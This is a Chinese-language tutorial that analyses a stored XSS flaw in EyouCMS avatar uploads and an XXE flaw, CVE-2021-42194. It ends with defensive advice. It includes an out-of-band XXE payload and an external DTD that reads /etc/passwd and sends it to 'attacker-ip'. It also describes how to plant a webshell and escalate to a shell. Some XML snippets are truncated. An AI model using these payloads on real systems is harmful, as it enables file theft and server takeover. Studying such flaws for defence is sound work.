eyoucmsCVE-2021-42194与存储型xss分析
字数 1181 2025-08-07 08:22:39
Eyoucms CVE-2021-42194与存储型XSS漏洞分析与利用教学文档
0x01 存储型XSS漏洞分析
漏洞位置
/application/function.php文件中的图片上传处理逻辑
漏洞成因
- 系统对上传图片进行了后缀检验
- 对文件名中的
.\/进行了过滤 - 关键缺陷:未对上传的图片进行重命名处理
漏洞利用步骤
- 准备恶意图片文件,命名为:
.jpg - 登录系统后执行以下操作:
- 点击头像
- 选择"个人信息"
- 点击"更换头像"
- 上传准备好的恶意图片
- XSS代码将被执行
拓展利用
- 上传包含一句话木马的图片文件
- 如果目标使用phpstudy建站,MySQL的
upload.MYD文件中会保存该木马 - 配合文件包含漏洞可实现getshell
0x02 XXE漏洞(CVE-2021-42194)分析
漏洞位置
application/home/controller/Index.php中的wechat_return()方法
漏洞成因
- 第137行直接将传入的XML代码传递给
simplexml_load_string()函数 - 未禁用外部实体解析
- 触发条件:
- 从数据库查询
pay_info字段获取appid - 当
appid不为空或传入XML中存在appid时触发
- 从数据库查询
相关配置位置
- 后台路径:基本信息->接口配置->微信支付
- 数据库位置:
pay_api_config表中pay_mark=wechat的payinfo字段
漏洞利用(DNSLOG测试)
- 确认漏洞为无回显XXE
- 使用参数实体引用外部DTD
攻击Payload
%remote;%int;%send;
]>
外部DTD文件(test.dtd)内容
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://attacker-ip?p=%file;'>">
攻击流程解析
%remote首先调用,请求远程服务器上的test.dtd%int调用test.dtd中的%file%file获取服务器敏感文件内容- 将
%file结果填入%send(使用HTML实体编码%) %send将数据外带到攻击者服务器
0x03 相关漏洞对比
微信支付XXE漏洞(WXPayUtil)
xmlToMap方法存在XXE漏洞- 使用
DocumentBuilder危险函数 - 直接将传入字符串转换为Map集合
- 未对输入字符串进行过滤
测试代码示例
String str = "<?xml version='1.0' encoding='utf-8'?>\r\n" +
"\r\n" +
" ]>\r\n" +
"<creds><goodies>&goodies;</goodies><pa>susu</pa></creds>";
Map<String, String> map;
try {
map = new WXPayUtil().xmlToMap(str);
System.out.println(map);
} catch (Exception e) {
e.printStackTrace();
}
XML结构说明
必须使用嵌套元素结构:
<creds><passwd>&goodies;</passwd></creds>
而非:
<creds>&goodies;</creds>
原因:
- 子节点会被转换为Map的key-value对
- 单层结构没有子节点,会导致输出null
0x04 防御建议
存储型XSS防御
- 对上传文件进行强制重命名
- 对文件名进行HTML实体编码
- 实现内容安全策略(CSP)
XXE漏洞防御
- 禁用外部实体解析
- PHP:
libxml_disable_entity_loader(true)
- PHP:
- 对XML输入进行严格过滤
- 使用白名单验证XML结构
- 避免直接使用危险函数处理不可信输入